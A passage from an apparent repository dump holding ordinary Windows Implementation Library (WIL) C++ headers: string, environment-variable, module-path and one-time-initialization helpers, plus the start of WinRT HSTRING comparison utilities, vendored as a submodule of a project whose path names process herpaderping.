value[0] = L'\\0';\n size_t valueLengthNeededWithNull{}; // callback returns the number of characters needed including the null terminator.\n RETURN_IF_FAILED_EXPECTED(callback(value, ARRAYSIZE(value), &valueLengthNeededWithNull));\n WI_ASSERT(valueLengthNeededWithNull > 0);\n if (valueLengthNeededWithNull <= ARRAYSIZE(value))\n {\n // Success case as described above, make() adds the space for the null.\n RETURN_IF_FAILED(maker.make(value, valueLengthNeededWithNull - 1));\n }\n else\n {\n // Did not fit in the stack allocated buffer, need to do 2 phase construction.\n // May need to loop more than once if external conditions cause the value to change.\n size_t bufferLength;\n do\n {\n bufferLength = valueLengthNeededWithNull;\n // bufferLength includes the null so subtract that as make() will add space for it.\n RETURN_IF_FAILED(maker.make(nullptr, bufferLength - 1));\n\n RETURN_IF_FAILED_EXPECTED(callback(maker.buffer(), bufferLength, &valueLengthNeededWithNull));\n WI_ASSERT(valueLengthNeededWithNull > 0);\n\n // If the value shrunk, then adjust the string to trim off the excess buffer.\n if (valueLengthNeededWithNull < bufferLength)\n {\n RETURN_IF_FAILED(maker.trim_at_existing_null(valueLengthNeededWithNull - 1));\n }\n }\n while (valueLengthNeededWithNull > bufferLength);\n }\n result = maker.release();\n return S_OK;\n }\n\n /** Expands the '%' quoted environment variables in 'input' using ExpandEnvironmentStringsW(); */\n template \n HRESULT ExpandEnvironmentStringsW(_In_ PCWSTR input, string_type& result) WI_NOEXCEPT\n {\n return wil::AdaptFixedSizeToAllocatedResult(result,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT\n {\n *valueLengthNeededWithNul = ::ExpandEnvironmentStringsW(input, value, static_cast(valueLength));\n RETURN_LAST_ERROR_IF(*valueLengthNeededWithNul == 0);\n return S_OK;\n });\n }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM | WINAPI_PARTITION_GAMES)\n /** Searches for a specified file in a specified path using ExpandEnvironmentStringsW(); */\n template \n HRESULT SearchPathW(_In_opt_ PCWSTR path, _In_ PCWSTR fileName, _In_opt_ PCWSTR extension, string_type& result) WI_NOEXCEPT\n {\n return wil::AdaptFixedSizeToAllocatedResult(result,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT\n {\n *valueLengthNeededWithNul = ::SearchPathW(path, fileName, extension, static_cast(valueLength), value, nullptr);\n\n if (*valueLengthNeededWithNul == 0)\n {\n // ERROR_FILE_NOT_FOUND is an expected return value for SearchPathW\n const HRESULT searchResult = HRESULT_FROM_WIN32(::GetLastError());\n RETURN_HR_IF_EXPECTED(searchResult, searchResult == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND));\n RETURN_IF_FAILED(searchResult);\n }\n\n // AdaptFixedSizeToAllocatedResult expects that the length will always include the NUL.\n // If the result is copied to the buffer, SearchPathW returns the length of copied string, WITHOUT the NUL.\n // If the buffer is too small to hold the result, SearchPathW returns the length of the required buffer WITH the nul.\n if (*valueLengthNeededWithNul < valueLength)\n {\n (*valueLengthNeededWithNul)++; // It fit, account for the null.\n }\n return S_OK;\n });\n }\n\n // This function does not work beyond the default stack buffer size (255).\n // Needs to to retry in a loop similar to wil::GetModuleFileNameExW\n // These updates and unit tests are tracked by https://github.com/Microsoft/wil/issues/3\n template \n HRESULT QueryFullProcessImageNameW(HANDLE processHandle, _In_ DWORD flags, string_type& result) WI_NOEXCEPT\n {\n return wil::AdaptFixedSizeToAllocatedResult(result,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT\n {\n DWORD lengthToUse = static_cast(valueLength);\n BOOL const success = ::QueryFullProcessImageNameW(processHandle, flags, value, &lengthToUse);\n RETURN_LAST_ERROR_IF((success == FALSE) && (::GetLastError() != ERROR_INSUFFICIENT_BUFFER));\n // On both success or insufficient buffer case, add +1 for the null-terminating character\n *valueLengthNeededWithNul = lengthToUse + 1;\n return S_OK;\n });\n }\n\n /** Expands environment strings and checks path existence with SearchPathW */\n template \n HRESULT ExpandEnvAndSearchPath(_In_ PCWSTR input, string_type& result) WI_NOEXCEPT\n {\n wil::unique_cotaskmem_string expandedName;\n RETURN_IF_FAILED((wil::ExpandEnvironmentStringsW(input, expandedName)));\n\n // ERROR_FILE_NOT_FOUND is an expected return value for SearchPathW\n const HRESULT searchResult = (wil::SearchPathW(nullptr, expandedName.get(), nullptr, result));\n RETURN_HR_IF_EXPECTED(searchResult, searchResult == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND));\n RETURN_IF_FAILED(searchResult);\n\n return S_OK;\n }\n#endif\n\n /** Looks up the environment variable 'key' and fails if it is not found. */\n template \n inline HRESULT GetEnvironmentVariableW(_In_ PCWSTR key, string_type& result) WI_NOEXCEPT\n {\n return wil::AdaptFixedSizeToAllocatedResult(result,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT\n {\n // If the function succeeds, the return value is the number of characters stored in the buffer\n // pointed to by lpBuffer, not including the terminating null character.\n //\n // If lpBuffer is not large enough to hold the data, the return value is the buffer size, in\n // characters, required to hold the string and its terminating null character and the contents of\n // lpBuffer are undefined.\n //\n // If the function fails, the return value is zero. If the specified environment variable was not\n // found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.\n\n ::SetLastError(ERROR_SUCCESS);\n\n *valueLengthNeededWithNul = ::GetEnvironmentVariableW(key, value, static_cast(valueLength));\n RETURN_LAST_ERROR_IF_EXPECTED((*valueLengthNeededWithNul == 0) && (::GetLastError() != ERROR_SUCCESS));\n if (*valueLengthNeededWithNul < valueLength)\n {\n (*valueLengthNeededWithNul)++; // It fit, account for the null.\n }\n return S_OK;\n });\n }\n\n /** Looks up the environment variable 'key' and returns null if it is not found. */\n template \n HRESULT TryGetEnvironmentVariableW(_In_ PCWSTR key, string_type& result) WI_NOEXCEPT\n {\n const auto hr = wil::GetEnvironmentVariableW(key, result);\n RETURN_HR_IF(hr, FAILED(hr) && (hr != HRESULT_FROM_WIN32(ERROR_ENVVAR_NOT_FOUND)));\n return S_OK;\n }\n\n /** Retrieves the fully qualified path for the file containing the specified module loaded\n by a given process. Note GetModuleFileNameExW is a macro.*/\n template \n HRESULT GetModuleFileNameExW(_In_opt_ HANDLE process, _In_opt_ HMODULE module, string_type& path)\n {\n // initialBufferLength is a template parameter to allow for testing. It creates some waste for\n // shorter paths, but avoids iteration through the loop in common cases where paths are less\n // than 128 characters.\n // wil::max_extended_path_length + 1 (for the null char)\n // + 1 (to be certain GetModuleFileNameExW didn't truncate)\n size_t const ensureNoTrucation = (process != nullptr) ? 1 : 0;\n size_t const maxExtendedPathLengthWithNull = wil::max_extended_path_length + 1 + ensureNoTrucation;\n\n details::string_maker maker;\n\n for (size_t lengthWithNull = initialBufferLength;\n lengthWithNull <= maxExtendedPathLengthWithNull;\n lengthWithNull = (wistd::min)(lengthWithNull * 2, maxExtendedPathLengthWithNull))\n {\n // make() adds space for the trailing null\n RETURN_IF_FAILED(maker.make(nullptr, lengthWithNull - 1));\n\n DWORD copiedCount;\n bool copyFailed;\n bool copySucceededWithNoTruncation;\n\n if (process != nullptr)\n {\n // GetModuleFileNameExW truncates and provides no error or other indication it has done so.\n // The only way to be sure it didn't truncate is if it didn't need the whole buffer.\n copiedCount = ::GetModuleFileNameExW(process, module, maker.buffer(), static_cast(lengthWithNull));\n copyFailed = (0 == copiedCount);\n copySucceededWithNoTruncation = !copyFailed && (copiedCount < lengthWithNull - 1);\n }\n else\n {\n // In cases of insufficient buffer, GetModuleFileNameW will return a value equal to lengthWithNull\n // and set the last error to ERROR_INSUFFICIENT_BUFFER.\n copiedCount = ::GetModuleFileNameW(module, maker.buffer(), static_cast(lengthWithNull));\n copyFailed = (0 == copiedCount);\n copySucceededWithNoTruncation = !copyFailed && (copiedCount < lengthWithNull);\n }\n\n if (copyFailed)\n {\n RETURN_LAST_ERROR();\n }\n else if (copySucceededWithNoTruncation)\n {\n path = maker.release();\n return S_OK;\n }\n\n WI_ASSERT((process != nullptr) || (::GetLastError() == ERROR_INSUFFICIENT_BUFFER));\n\n if (lengthWithNull == maxExtendedPathLengthWithNull)\n {\n // If we've reached this point, there's no point in trying a larger buffer size.\n break;\n }\n }\n\n // Any path should fit into the maximum max_extended_path_length. If we reached here, something went\n // terribly wrong.\n FAIL_FAST();\n }\n\n /** Retrieves the fully qualified path for the file that contains the specified module.\n The module must have been loaded by the current process. The path returned will use the\n same format that was specified when the module was loaded. Therefore, the path can be a\n long or short file name, and can have the prefix '\\\\?\\'. */\n template \n HRESULT GetModuleFileNameW(HMODULE module, string_type& path)\n {\n return wil::GetModuleFileNameExW(nullptr, module, path);\n }\n\n template \n HRESULT GetSystemDirectoryW(string_type& result) WI_NOEXCEPT\n {\n return wil::AdaptFixedSizeToAllocatedResult(result,\n [&](_Out_writes_(valueLength) PWSTR value, size_t valueLength, _Out_ size_t* valueLengthNeededWithNul) -> HRESULT\n {\n *valueLengthNeededWithNul = ::GetSystemDirectoryW(value, static_cast(valueLength));\n RETURN_LAST_ERROR_IF(*valueLengthNeededWithNul == 0);\n if (*valueLengthNeededWithNul < valueLength)\n {\n (*valueLengthNeededWithNul)++; // it fit, account for the null\n }\n return S_OK;\n });\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Expands the '%' quoted environment variables in 'input' using ExpandEnvironmentStringsW(); */\n template \n string_type ExpandEnvironmentStringsW(_In_ PCWSTR input)\n {\n string_type result;\n THROW_IF_FAILED((wil::ExpandEnvironmentStringsW(input, result)));\n return result;\n }\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM | WINAPI_PARTITION_GAMES)\n /** Searches for a specified file in a specified path using SearchPathW*/\n template \n string_type TrySearchPathW(_In_opt_ PCWSTR path, _In_ PCWSTR fileName, PCWSTR _In_opt_ extension)\n {\n string_type result;\n HRESULT searchHR = wil::SearchPathW(path, fileName, extension, result);\n THROW_HR_IF(searchHR, FAILED(searchHR) && (searchHR != HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND)));\n return result;\n }\n#endif\n\n /** Looks up the environment variable 'key' and fails if it is not found. */\n template \n string_type GetEnvironmentVariableW(_In_ PCWSTR key)\n {\n string_type result;\n THROW_IF_FAILED(wil::GetEnvironmentVariableW(key, result));\n return result;\n }\n\n /** Looks up the environment variable 'key' and returns null if it is not found. */\n template \n string_type TryGetEnvironmentVariableW(_In_ PCWSTR key)\n {\n string_type result;\n THROW_IF_FAILED(wil::TryGetEnvironmentVariableW(key, result));\n return result;\n }\n\n template \n string_type GetModuleFileNameW(HMODULE module)\n {\n string_type result;\n THROW_IF_FAILED(wil::GetModuleFileNameW(module, result));\n return result;\n }\n\n template \n string_type GetModuleFileNameExW(HANDLE process, HMODULE module)\n {\n string_type result;\n THROW_IF_FAILED(wil::GetModuleFileNameExW(process, module, result));\n return result;\n }\n\n#endif\n\n /** Retrieve the HINSTANCE for the current DLL or EXE using this symbol that\n the linker provides for every module. This avoids the need for a global HINSTANCE variable\n and provides access to this value for static libraries. */\n EXTERN_C IMAGE_DOS_HEADER __ImageBase;\n inline HINSTANCE GetModuleInstanceHandle() { return reinterpret_cast(&__ImageBase); }\n\n /// @cond\n namespace details\n {\n class init_once_completer\n {\n INIT_ONCE& m_once;\n unsigned long m_flags = INIT_ONCE_INIT_FAILED;\n public:\n init_once_completer(_In_ INIT_ONCE& once) : m_once(once)\n {\n }\n\n #pragma warning(push)\n #pragma warning(disable:4702) // https://github.com/Microsoft/wil/issues/2\n void success()\n {\n m_flags = 0;\n }\n #pragma warning(pop)\n\n ~init_once_completer()\n {\n ::InitOnceComplete(&m_once, m_flags, nullptr);\n }\n };\n }\n /// @endcond\n\n /** Performs one-time initialization\n Simplifies using the Win32 INIT_ONCE structure to perform one-time initialization. The provided `func` is invoked\n at most once.\n ~~~~\n INIT_ONCE g_init{};\n ComPtr g_foo;\n HRESULT MyMethod()\n {\n bool winner = false;\n RETURN_IF_FAILED(wil::init_once_nothrow(g_init, []\n {\n ComPtr foo;\n RETURN_IF_FAILED(::CoCreateInstance(..., IID_PPV_ARGS(&foo));\n RETURN_IF_FAILED(foo->Startup());\n g_foo = foo;\n }, &winner);\n if (winner)\n {\n RETURN_IF_FAILED(g_foo->Another());\n }\n return S_OK;\n }\n ~~~~\n See MSDN for more information on `InitOnceExecuteOnce`.\n @param initOnce The INIT_ONCE structure to use as context for initialization.\n @param func A function that will be invoked to perform initialization. If this fails, the init call\n fails and the once-init is not marked as initialized. A later caller could attempt to\n initialize it a second time.\n @param callerCompleted Set to 'true' if this was the call that caused initialization, false otherwise.\n */\n template HRESULT init_once_nothrow(_Inout_ INIT_ONCE& initOnce, T func, _Out_opt_ bool* callerCompleted = nullptr) WI_NOEXCEPT\n {\n BOOL pending = FALSE;\n wil::assign_to_opt_param(callerCompleted, false);\n\n __WIL_PRIVATE_RETURN_IF_WIN32_BOOL_FALSE(InitOnceBeginInitialize(&initOnce, 0, &pending, nullptr));\n\n if (pending)\n {\n details::init_once_completer completion(initOnce);\n __WIL_PRIVATE_RETURN_IF_FAILED(func());\n completion.success();\n wil::assign_to_opt_param(callerCompleted, true);\n }\n\n return S_OK;\n }\n\n //! Similar to init_once_nothrow, but fails-fast if the initialization step failed. The 'callerComplete' value is\n //! returned to the caller instead of being an out-parameter.\n template bool init_once_failfast(_Inout_ INIT_ONCE& initOnce, T&& func) WI_NOEXCEPT\n {\n bool callerCompleted;\n\n FAIL_FAST_IF_FAILED(init_once_nothrow(initOnce, wistd::forward(func), &callerCompleted));\n\n return callerCompleted;\n };\n\n //! Returns 'true' if this `init_once` structure has finished initialization, false otherwise.\n inline bool init_once_initialized(_Inout_ INIT_ONCE& initOnce) WI_NOEXCEPT\n {\n BOOL pending = FALSE;\n return ::InitOnceBeginInitialize(&initOnce, INIT_ONCE_CHECK_ONLY, &pending, nullptr) && !pending;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Performs one-time initialization\n Simplifies using the Win32 INIT_ONCE structure to perform one-time initialization. The provided `func` is invoked\n at most once.\n ~~~~\n INIT_ONCE g_init{};\n ComPtr g_foo;\n void MyMethod()\n {\n bool winner = wil::init_once(g_init, []\n {\n ComPtr foo;\n THROW_IF_FAILED(::CoCreateInstance(..., IID_PPV_ARGS(&foo));\n THROW_IF_FAILED(foo->Startup());\n g_foo = foo;\n });\n if (winner)\n {\n THROW_IF_FAILED(g_foo->Another());\n }\n }\n ~~~~\n See MSDN for more information on `InitOnceExecuteOnce`.\n @param initOnce The INIT_ONCE structure to use as context for initialization.\n @param func A function that will be invoked to perform initialization. If this fails, the init call\n fails and the once-init is not marked as initialized. A later caller could attempt to\n initialize it a second time.\n @returns 'true' if this was the call that caused initialization, false otherwise.\n */\n template bool init_once(_Inout_ INIT_ONCE& initOnce, T func)\n {\n BOOL pending = FALSE;\n\n THROW_IF_WIN32_BOOL_FALSE(::InitOnceBeginInitialize(&initOnce, 0, &pending, nullptr));\n\n if (pending)\n {\n details::init_once_completer completion(initOnce);\n func();\n completion.success();\n return true;\n }\n else\n {\n return false;\n }\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n}\n\n// Macro for calling GetProcAddress(), with type safety for C++ clients\n// using the type information from the specified function.\n// The return value is automatically cast to match the function prototype of the input function.\n//\n// Sample usage:\n//\n// auto sendMail = GetProcAddressByFunctionDeclaration(hinstMAPI, MAPISendMailW);\n// if (sendMail)\n// {\n// sendMail(0, 0, pmm, MAPI_USE_DEFAULT, 0);\n// }\n// Declaration\n#define GetProcAddressByFunctionDeclaration(hinst, fn) reinterpret_cast(GetProcAddress(hinst, #fn))\n\n#endif // __WIL_WIN32_HELPERS_INCLUDED\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/winrt.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_WINRT_INCLUDED\n#define __WIL_WINRT_INCLUDED\n\n#include \n#include \n#include \n#include \n#include \n#include \"result.h\"\n#include \"com.h\"\n#include \"resource.h\"\n#include \n\n#ifdef __cplusplus_winrt\n#include // bring in the CRT iterator for support for C++ CX code\n#endif\n\n/// @cond\n#if defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WI_HAS_STD_LESS)\n#ifdef __has_include\n#if __has_include()\n#define __WI_HAS_STD_LESS 1\n#include \n#endif // Otherwise, not using STL; don't specialize std::less\n#else\n// Fall back to the old way of forward declaring std::less\n#define __WI_HAS_STD_LESS 1\n#pragma warning(push)\n#pragma warning(disable:4643) // Forward declaring '...' in namespace std is not permitted by the C++ Standard.\nnamespace std\n{\n template\n struct less;\n}\n#pragma warning(pop)\n#endif\n#endif\n/// @endcond\n\n// This enables this code to be used in code that uses the ABI prefix or not.\n// Code using the public SDK and C++ CX code has the ABI prefix, windows internal\n// is built in a way that does not.\n#if !defined(MIDL_NS_PREFIX) && !defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__)\n// Internal .idl files use the namespace without the ABI prefix. Macro out ABI for that case\n#pragma push_macro(\"ABI\")\n#undef ABI\n#define ABI\n#endif\n\nnamespace wil\n{\n#ifdef _INC_TIME\n // time_t is the number of 1 - second intervals since January 1, 1970.\n long long const SecondsToStartOf1970 = 0x2b6109100;\n long long const HundredNanoSecondsInSecond = 10000000LL;\n\n inline __time64_t DateTime_to_time_t(ABI::Windows::Foundation::DateTime dateTime)\n {\n // DateTime is the number of 100 - nanosecond intervals since January 1, 1601.\n return (dateTime.UniversalTime / HundredNanoSecondsInSecond - SecondsToStartOf1970);\n }\n\n inline ABI::Windows::Foundation::DateTime time_t_to_DateTime(__time64_t timeT)\n {\n ABI::Windows::Foundation::DateTime dateTime;\n dateTime.UniversalTime = (timeT + SecondsToStartOf1970) * HundredNanoSecondsInSecond;\n return dateTime;\n }\n#endif // _INC_TIME\n\n#pragma region HSTRING Helpers\n /// @cond\n namespace details\n {\n // hstring_compare is used to assist in HSTRING comparison of two potentially non-similar string types. E.g.\n // comparing a raw HSTRING with WRL's HString/HStringReference/etc. The consumer can optionally inhibit the\n // deduction of array sizes by providing 'true' for the 'InhibitStringArrays' template argument. This is\n // generally done in scenarios where the consumer cannot guarantee that the input argument types are perfectly\n // preserved from end-to-end. E.g. if a single function in the execution path captures an array as const T&,\n // then it is impossible to differentiate const arrays (where we generally do want to deduce length) from\n // non-const arrays (where we generally do not want to deduce length). The consumer can also optionally choose\n // to perform case-insensitive comparison by providing 'true' for the 'IgnoreCase' template argument.\n template \n struct hstring_compare\n {\n // get_buffer returns the string buffer and length for the supported string types\n static const wchar_t* get_buffer(HSTRING hstr, UINT32* length) WI_NOEXCEPT\n {\n return ::WindowsGetStringRawBuffer(hstr, length);\n }\n\n static const wchar_t* get_buffer(const Microsoft::WRL::Wrappers::HString& hstr, UINT32* length) WI_NOEXCEPT\n {\n return hstr.GetRawBuffer(length);\n }\n\n static const wchar_t* get_buffer(\n const Microsoft::WRL::Wrappers::HStringReference& hstr,\n UINT32* length) WI_NOEXCEPT\n {\n return hstr.GetRawBuffer(length);\n }\n\n static const wchar_t* get_buffer(const unique_hstring& str, UINT32* length) WI_NOEXCEPT\n {\n return ::WindowsGetStringRawBuffer(str.get(), length);\n }\n\n template \n static wistd::enable_if_t get_buffer(const wchar_t* str, UINT32* length) WI_NOEXCEPT\n {\n str = (str != nullptr) ? str : L\"\";\n *length = static_cast(wcslen(str));\n return str;\n }\n\n template \n static wistd::enable_if_t<\n wistd::conjunction<\n wistd::is_pointer,\n wistd::is_same>, wchar_t>,\n wistd::bool_constant\n >::value,\n const wchar_t*> get_buffer(StringT str, UINT32* length) WI_NOEXCEPT\n {\n str = (str != nullptr) ? str : L\"\";\n *length = static_cast(wcslen(str));\n return str;\n }\n\n template \n static wistd::enable_if_t get_buffer(\n const wchar_t (&str)[Size],\n UINT32* length) WI_NOEXCEPT\n {\n *length = Size - 1;\n return str;\n }\n\n template \n static wistd::enable_if_t get_buffer(wchar_t (&str)[Size], UINT32* length) WI_NOEXCEPT\n {\n *length = static_cast(wcslen(str));\n return str;\n }\n\n // Overload for std::wstring, or at least things that behave like std::wstring, without adding a dependency\n // on STL headers\n template \n static wistd::enable_if_t().c_str())>,\n wistd::is_same().length())>>,\n const wchar_t*> get_buffer(const StringT& str, UINT32* length) WI_NOEXCEPT\n {\n *length = static_cast(str.length());\n return str.c_str();\n }\n\n template \n static auto compare(LhsT&& lhs, RhsT&& rhs) ->\n decltype(get_buffer(lhs, wistd::declval()), get_buffer(rhs, wistd::declval()), int())\n {\n UINT32 lhsLength;\n UINT32 rhsLength;\n auto lhsBuffer = get_buffer(wistd::forward(lhs), &lhsLength);\n auto rhsBuffer = get_buffer(wistd::forward(rhs), &rhsLength);\n\n const auto result = ::CompareStringOrdinal(\n lhsBuffer,\n lhsLength,\n rhsBuffer,\n rhsLength,\n IgnoreCase ? TRUE : FALSE);\n WI_ASSERT(result != 0);\n\n return result;\n }\n\n template \n static auto equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_EQUAL;\n }\n\n template \n static auto not_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_EQUAL;\n }\n\n template \n static auto less(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_LESS_THAN;\n }\n\n template \n static auto less_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_GREATER_THAN;\n }\n\n template \n static auto greater(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) == CSTR_GREATER_THAN;\n }\n\n template \n static auto greater_equals(LhsT&& lhs, RhsT&& rhs) WI_NOEXCEPT ->\n decltype(compare(wistd::forward(lhs), wistd::forward(rhs)), bool())\n {\n return compare(wistd::forward(lhs), wistd::forward(rhs)) != CSTR_LESS_THAN;\n }\n };\n }\n /// @endcond\n\n //! Detects if one or more embedded null is present in an HSTRING.\n inline bool HasEmbeddedNull(_In_opt_ HSTRING value)\n {\n BOOL hasEmbeddedNull;\n WindowsStringHasEmbeddedNull(value, &hasEmbeddedNull);\n return hasEmbeddedNull != FALSE;\n }\n\n /** TwoPhaseHStringConstructor help using the 2 phase constructor pattern for HSTRINGs.\n ~~~\n auto stringConstructor = wil::TwoPhaseHStringConstructor::Preallocate(size);\n RETURN_IF_NULL_ALLOC(stringConstructor.Get());\n\n RETURN_IF_FAILED(stream->Read(stringConstructor.Get(), stringConstructor.ByteSize(), &bytesRead));\n\n // Validate stream contents, sizes must match, string must be null terminated.\n RETURN_IF_FAILED(stringConstructor.Validate(bytesRead));\n\n wil::unique_hstring string { stringConstructor.Promote() };\n ~~~\n\n See also wil::unique_hstring_buffer.\n */\n struct TwoPhaseHStringConstructor\n {\n TwoPhaseHStringConstructor() = delete;\n TwoPhaseHStringConstructor(const TwoPhaseHStringConstructor&) = delete;\n void operator=(const TwoPhaseHStringConstructor&) = delete;\n\n TwoPhaseHStringConstructor(TwoPhaseHStringConstructor&& other) WI_NOEXCEPT\n {\n m_characterLength = other.m_characterLength;\n other.m_characterLength = 0;\n m_maker = wistd::move(other.m_maker);\n }\n\n static TwoPhaseHStringConstructor Preallocate(UINT32 characterLength)\n {\n return TwoPhaseHStringConstructor{ characterLength };\n }\n\n //! Returns the HSTRING after it has been populated like Detatch() or release(); be sure to put this in a RAII type to manage its lifetime.\n HSTRING Promote()\n {\n m_characterLength = 0;\n return m_maker.release().release();\n }\n\n ~TwoPhaseHStringConstructor() = default;\n\n explicit operator PCWSTR() const\n {\n // This is set by WindowsPromoteStringBuffer() which must be called to\n // construct this object via the static method Preallocate().\n return m_maker.buffer();\n }\n\n //! Returns a pointer for the buffer so it can be populated\n wchar_t* Get() const { return const_cast(m_maker.buffer()); }\n //! Used to validate range of buffer when populating.\n ULONG ByteSize() const { return m_characterLength * sizeof(wchar_t); }\n\n /** Ensure that the size of the data provided is consistent with the pre-allocated buffer.\n It seems that WindowsPreallocateStringBuffer() provides the null terminator in the buffer\n (based on testing) so this can be called before populating the buffer.\n */\n HRESULT Validate(ULONG bytesRead) const\n {\n // Null termination is required for the buffer before calling WindowsPromoteStringBuffer().\n RETURN_HR_IF(HRESULT_FROM_WIN32(ERROR_INVALID_DATA),\n (bytesRead != ByteSize()) ||\n (Get()[m_characterLength] != L'\\0'));\n return S_OK;\n }\n\n private:\n TwoPhaseHStringConstructor(UINT32 characterLength) : m_characterLength(characterLength)\n {\n (void)m_maker.make(nullptr, characterLength);\n }\n\n UINT32 m_characterLength;\n details::string_maker m_maker;\n };\n\n //! A transparent less-than comparison function object that enables comparison of various string types intended for\n //! use with associative containers (such as `std::set`, `std::map`, etc.) that use\n //! `Microsoft::WRL::Wrappers::HString` as the key type. This removes the need for the consumer to explicitly\n //! create an `HString` object when using lookup functions such as `find`, `lower_bound`, etc. For example, the\n //! following scenarios would all work exactly as you would expect them to:\n //! ~~~\n //! std::map map;\n //! const wchar_t constArray[] = L\"foo\";\n //! wchar_t nonConstArray[MAX_PATH] = L\"foo\";\n //!\n //! HString key;\n //! THROW_IF_FAILED(key.Set(constArray));\n //! map.emplace(std::move(key), 42);\n //!\n //! HString str;\n //! wil::unique_hstring uniqueStr;\n //! THROW_IF_FAILED(str.Set(L\"foo\"));\n //! THROW_IF_FAILED(str.CopyTo(&uniqueStr));\n //!\n //! // All of the following return an iterator to the pair { L\"foo\", 42 }\n //! map.find(str);\n //! map.find(str.Get());\n //! map.find(HStringReference(constArray));\n //! map.find(uniqueStr);\n //! map.find(std::wstring(constArray));\n //! map.find(constArray);\n //! map.find(nonConstArray);\n //! map.find(static_cast(constArray));\n //! ~~~\n //! The first four calls in the example above use `WindowsGetStringRawBuffer` (or equivalent) to get the string\n //! buffer and length for the comparison. The fifth example uses `std::wstring::c_str` and `std::wstring::length`\n //! for getting these two values. The remaining three examples use only the string buffer and call `wcslen` for the\n //! length. That is, the length is *not* deduced for either array. This is because argument types are not always\n //! perfectly preserved by container functions and in fact are often captured as const references making it\n //! impossible to differentiate const arrays - where we can safely deduce length - from non const arrays - where we\n //! cannot safely deduce length since the buffer may be larger than actually needed (e.g. creating a\n //! `char[MAX_PATH]` array, but only filling it with 10 characters). The implications of this behavior is that\n //! string literals that contain embedded null characters will only include the part of the buffer up to the first\n //! null character. For example, the following example will result in all calls to `find` returning an end\n //! iterator.\n //! ~~~\n //! std::map map;\n //! const wchar_t constArray[] = L\"foo\\0bar\";\n //! wchar_t nonConstArray[MAX_PATH] = L\"foo\\0bar\";\n //!\n //! // Create the key with the embedded null character\n //! HString key;\n //! THROW_IF_FAILED(key.Set(constArray));\n //! map.emplace(std::move(key), 42);\n //!\n //! // All of the following return map.end() since they look for the string \"foo\"\n //! map.find(constArray);\n //! map.find(nonConstArray);\n //! map.find(static_cast(constArray));\n //! ~~~\n //! In order to search using a string literal that contains embedded null characters, a simple alternative is to\n //! first create an `HStringReference` and use that for the function call:\n //! ~~~\n //! // HStringReference's constructor *will* deduce the length of const arrays\n //! map.find(HStringReference(constArray));\n //! ~~~\n struct hstring_less\n {\n using is_transparent = void;\n\n template \n auto operator()(const LhsT& lhs, const RhsT& rhs) const WI_NOEXCEPT ->\n decltype(details::hstring_compare::less(lhs, rhs))\n {\n return details::hstring_compare::less(lhs, rhs);\n }\n };\n\n //! A transparent less-than comparison function object whose behavior is equivalent to that of @ref hstring_less\n //! with the one difference that comparisons are case-insensitive. That is, the following example will correctly\n //! find the inserted value:\n //! ~~~\n //! std::map map;\n //!\n //! HString key;\n //! THROW_IF_FAILED(key.Set(L\"foo\"));\n //! map.emplace(std::move(key), 42);\n //!\n //! // All of the following return an iterator to the pair { L\"foo\", 42 }\n //! map.find(L\"FOo\");\n //! map.find(HStringReference(L\"fOo\"));\n //! map.find(HStringReference(L\"fOO\").Get());\n //! ~~~\n struct hstring_insensitive_less\n {\n using is_transparent = void;\n\n template \n auto operator()(const LhsT& lhs, const RhsT& rhs) const WI_NOEXCEPT ->\n decltype(details::hstring_compare::less(lhs, rhs))\n {\n return details::hstring_compare::less(lhs, rhs);\n }\n };\n\n#pragma endregion\n\n /// @cond\n namespace details\n {\n // MapToSmartType::type is used to map a raw type into an RAII expression\n // of it. This is needed when lifetime management of the type is needed, for example\n // when holding them as a value produced in an iterator.\n // This type has a common set of methods used to abstract the access to the value\n // that is similar to ComPtr<> and the WRL Wrappers: Get(), GetAddressOf() and other operators.\n // Clients of the smart type must use those to access the value.\n\n // TODO: Having the base definition defined will result in creating leaks if a type\n // that needs resource management (e.g. 